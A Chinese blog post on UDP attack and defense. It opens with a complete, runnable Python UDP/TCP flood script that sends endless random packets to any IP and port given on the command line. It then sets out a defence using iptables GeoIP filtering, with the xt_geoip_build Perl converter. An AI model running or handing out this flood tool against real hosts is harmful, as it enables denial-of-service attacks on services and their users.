UDP攻击与防御

一、发包

#!/usr/bin/env python3
#Code by zeno
import argparse
import random
import socket
import threading

ap = argparse.ArgumentParser()
ap.add_argument("-i", "--ip", required=True, type=str, help="Host ip")
ap.add_argument("-p", "--port", required=True, type=int, help="Port")
ap.add_argument("-c", "--choice", type=str, default="y", help="UDP(y/n)")
ap.add_argument("-t", "--times", type=int, default=50000, help="Packets per one connection")
ap.add_argument("-th", "--threads", type=int, default=5, help="Threads")
args = vars(ap.parse_args())

print("--> C0de By zeno <--")
print("#-- TCP/UDP FLOOD --#")
ip = args['ip']
port = args['port']
choice = args['choice']
times = args['times']
threads = args['threads']

def run():
	data = random._urandom(1024)
	i = random.choice(("[*]","[!]","[#]"))
	while True:
		try:
			s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
			addr = (str(ip),int(port))
			for x in range(times):
				s.sendto(data,addr)
			print(i +" Sent!!!")
		except:
			print("[!] Error!!!")

def run2():
	data = random._urandom(16)
	i = random.choice(("[*]","[!]","[#]"))
	while True:
		try:
			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			s.connect((ip,port))
			s.send(data)
			for x in range(times):
				s.send(data)
			print(i +" Sent!!!")
		except:
			s.close()
			print("[*] Error")

for y in range(threads):
	if choice == 'y':
		th = threading.Thread(target = run)
		th.start()
	else:
		th = threading.Thread(target = run2)
		th.start()

二、防御

安装依赖组件

pacman -S linux-headers perl-net-cidr-lite 
pacman -U perl-text-csv-xs-1.53-1-x86_64.pkg.tar.zst xtables-addons-dkms-3.25-1-x86_64.pkg.tar.zst

创建目录

mkdir /usr/share/xt_geoip

下载数据文件,并且处理格式

mkdir /tmp/xt_geoip_dl
cd /tmp/xt_geoip_dl
/usr/lib/xtables/xtables-addons/xt_geoip_dl
/usr/lib/xtables/xtables-addons/xt_geoip_build -D /usr/share/xt_geoip *.csv

过滤非中国的IP的UDP

iptables -I INPUT -p udp -m geoip ! --src-cc CN -j DROP

查看帮助

iptables -m geoip -h

更新数据文件,默认的数据库太老了,使用进行更新

#!/usr/bin/perl
#
#       Converter for MaxMind (GeoLite2) CSV database to binary, for xt_geoip
#       Copyright Jan Engelhardt, 2008-2011
#       Copyright Philip Prindeville, 2018
#
use Getopt::Long;
use Net::CIDR::Lite;
use Socket qw(AF_INET AF_INET6 inet_pton);
use warnings;
use Text::CSV_XS; # or trade for Text::CSV
use strict;

my $csv = Text::CSV_XS->new({
        allow_whitespace => 1,
        binary => 1,
        eol => $/,
}); # or Text::CSV
my $source_dir = ".";
my $quiet = 0;
my $target_dir = ".";

&Getopt::Long::Configure(qw(bundling));
&GetOptions(
        "D=s" => \$target_dir,
        "S=s" => \$source_dir,
        "q" => \$quiet,
        "s" => sub { $target_dir = "/usr/share/xt_geoip"; },
);

if (!-d $source_dir) {
        print STDERR "Source directory \"$source_dir\" does not exist.\n";
        exit 1;
}
if (!-d $target_dir) {
        print STDERR "Target directory \"$target_dir\" does not exist.\n";
        exit 1;
}

foreach (qw(LE BE)) {
        my $dir = "$target_dir/$_";
        if (!-e $dir && !mkdir($dir)) {
                print STDERR "Could not mkdir $dir: $!\n";
                exit 1;
        }
}

my %countryId;
my %countryName;
&loadCountries();
&dump(&collect());

sub loadCountries
{
        sub id; sub cc; sub long; sub ct; sub cn;

        %countryId = ();
        %countryName = ();

        my $file = "$source_dir/GeoLite2-Country-Locations-en.csv";
        print $file;
        open(my $fh, '<', $file) || die "Couldn't open list country names\n";

        # first line is headers
        my $row = $csv->getline($fh);

        my %header = map { ($row->[$_], $_); } (0..$#{$row});

        my %pairs = (
                country_iso_code => 'ISO Country Code',
                geoname_id => 'ID',
                country_name => 'Country Name',
                continent_code => 'Continent Code',
                continent_name => 'Continent Name',
        );

        # verify that the columns we need are present
        map { die "Table has no $pairs{$_} column\n" unless (exists $header{$_}); } keys %pairs;

        my %remapping = (
                id => 'geoname_id',
                cc => 'country_iso_code',
                long => 'country_name',
                ct => 'continent_code',
                cn => 'continent_name',
        );

        # now create a function which returns the value of that column #
        map { eval "sub $_ () { \$header{\$remapping{$_}}; }" ; } keys %remapping;

        while (my $row = $csv->getline($fh)) {
                if ($row->[cc] eq '' && $row->[long] eq '') {
                        $countryId{$row->[id]} = $row->[ct];
                        $countryName{$row->[ct]} = $row->[cn];
                } else {
                        $countryId{$row->[id]} = $row->[cc];
                        $countryName{$row->[cc]} = $row->[long];
                }
        }

        $countryName{A1} = 'Anonymous Proxy';
        $countryName{A2} = 'Satellite Provider';
        $countryName{O1} = 'Other Country';

        close($fh);

        # clean up the namespace
        undef &id; undef &cc; undef &long; undef &ct; undef &cn;
}

sub lookupCountry
{
        my ($id, $rid, $proxy, $sat) = @_;

        if ($proxy) {
                return 'A1';
        } elsif ($sat) {
                return 'A2';
        }
        $id ||= $rid;
        if ($id eq '') {
                return 'O1';
        }
        die "Unknown id: $id line $.\n" unless (exists $countryId{$id});
        return $countryId{$id};
}

sub collect
{
        my ($file, $fh, $row);
        my (%country, %header);

        sub net; sub id; sub rid; sub proxy; sub sat;

        my %pairs = (
                network => 'Network',
                registered_country_geoname_id => 'Registered Country ID',
                geoname_id => 'Country ID',
                is_anonymous_proxy => 'Anonymous Proxy',
                is_satellite_provider => 'Satellite',
        );

        foreach (sort keys %countryName) {
                $country{$_} = {
                        name => $countryName{$_},
                        pool_v4 => Net::CIDR::Lite->new(),
                        pool_v6 => Net::CIDR::Lite->new(),
                };
        }

        $file = "$source_dir/GeoLite2-Country-Blocks-IPv4.csv";
        open($fh, '<', $file) || die "Can't open IPv4 database\n";

        # first line is headers
        $row = $csv->getline($fh);

        %header = map { ($row->[$_], $_); } (0..$#{$row});

        # verify that the columns we need are present
        map { die "Table has no %pairs{$_} column\n" unless (exists $header{$_}); } keys %pairs;

        my %remapping = (
                net => 'network',
                id => 'geoname_id',
                rid => 'registered_country_geoname_id',
                proxy => 'is_anonymous_proxy',
                sat => 'is_satellite_provider',
        );

        # now create a function which returns the value of that column #
        map { eval "sub $_ () { \$header{\$remapping{$_}}; }" ; } keys %remapping;

        while ($row = $csv->getline($fh)) {
                my ($cc, $cidr);

                $cc = lookupCountry($row->[id], $row->[rid], $row->[proxy], $row->[sat]);
                $cidr = $row->[net];
                $country{$cc}->{pool_v4}->add($cidr);

                if ($. % 4096 == 0) {
                        print STDERR "\r\e[2K$. entries";
                }
        }

        print STDERR "\r\e[2K$. entries total\n";

        close($fh);

        # clean up the namespace
        undef &net; undef &id; undef &rid; undef &proxy; undef &sat;

        $file = "$source_dir/GeoLite2-Country-Blocks-IPv6.csv";
        open($fh, '<', $file) || die "Can't open IPv6 database\n";

        # first line is headers
        $row = $csv->getline($fh);

        %header = map { ($row->[$_], $_); } (0..$#{$row});

        # verify that the columns we need are present
        map { die "Table has no %pairs{$_} column\n" unless (exists $header{$_}); } keys %pairs;

        # unlikely the IPv6 table has different columns, but just to be sure
        # create a function which returns the value of that column #
        map { eval "sub $_ () { \$header{\$remapping{$_}}; }" ; } keys %remapping;

        while ($row = $csv->getline($fh)) {
                my ($cc, $cidr);

                $cc = lookupCountry($row->[id], $row->[rid], $row->[proxy], $row->[sat]);
                $cidr = $row->[net];
                $country{$cc}->{pool_v6}->add($cidr);

                if (!$quiet && $. % 4096 == 0) {
                        print STDERR "\r\e[2K$. entries";
                }
        }

        print STDERR "\r\e[2K$. entries total\n" unless ($quiet);

        close($fh);

        # clean up the namespace
        undef &net; undef &id; undef &rid; undef &proxy; undef &sat;

        return \%country;
}

sub dump
{
        my $country = shift @_;

        foreach my $iso_code (sort keys %{$country}) {
                &dump_one($iso_code, $country->{$iso_code});
        }
}

sub dump_one
{
        my($iso_code, $country) = @_;
        my($file, $fh_le, $fh_be);

        printf "%5u IPv6 ranges for %s %s\n",
                scalar(@{$country->{pool_v6}->list_range()}),
                $iso_code, $country->{name};

        $file = "$target_dir/LE/".uc($iso_code).".iv6";
        if (!open($fh_le, "> $file")) {
                print STDERR "Error opening $file: $!\n";
                exit 1;
        }
        $file = "$target_dir/BE/".uc($iso_code).".iv6";
        if (!open($fh_be, "> $file")) {
                print STDERR "Error opening $file: $!\n";
                exit 1;
        }
        foreach my $range (@{$country->{pool_v6}->list_range()}) {
                my ($start, $end) = split('-', $range);
                print $fh_be &ip6_pack($start), &ip6_pack($end);
                print $fh_le &ip6_swap($start), &ip6_swap($end);
        }
        close $fh_le;
        close $fh_be;

        printf "%5u IPv4 ranges for %s %s\n",
                scalar(@{$country->{pool_v4}->list_range()}),
                $iso_code, $country->{name};

        $file = "$target_dir/LE/".uc($iso_code).".iv4";
        if (!open($fh_le, "> $file")) {
                print STDERR "Error opening $file: $!\n";
                exit 1;
        }
        $file = "$target_dir/BE/".uc($iso_code).".iv4";
        if (!open($fh_be, "> $file")) {
                print STDERR "Error opening $file: $!\n";
                exit 1;
        }
        my($sc1, $sc2, $sc3, $sc4);
        my($start, $end);
        foreach my $range (@{$country->{pool_v4}->list_range()}) {
                ($start, $end) = split('-', $range);
                ($sc1, $sc2, $sc3, $sc4) = split('\.', $start);
                $start = $sc1 * 256**3 + $sc2 * 256**2 + $sc3 * 256 + $sc4;
                ($sc1, $sc2, $sc3, $sc4) = split('\.', $end);
                $end = $sc1 * 256**3 + $sc2 * 256**2 + $sc3 * 256 + $sc4;
                print $fh_le pack("VV", $start, $end);
                print $fh_be pack("NN", $start, $end);
        }
        close $fh_le;
        close $fh_be;
}

sub ip6_pack
{
        my $addr = shift @_;
        $addr =~ s{::}{:!:};
        my @addr = split(/:/, $addr);
        my @e = (0) x 8;
        foreach (@addr) {
                if ($_ eq "!") {
                        $_ = join(':', @e[0..(8-scalar(@addr))]);
                }
        }
        @addr = split(/:/, join(':', @addr));
        $_ = hex($_) foreach @addr;
        return pack("n*", @addr);
}

sub ip6_swap
{
        return pack("V*", unpack("N*", shift @_));
}
mkdir /usr/share/xt_geoip
./xt_geoip_build -D /usr/share/xt_geoip -S csv文件路径

关于Zeno Chen

本人涉及的领域较多,杂而不精 程序设计语言: Perl, Java, PHP, Python; 数据库系统: MySQL,Oracle; 偶尔做做电路板的开发,主攻STM32单片机
此条目发表在Linux, Python分类目录。将固定链接加入收藏夹。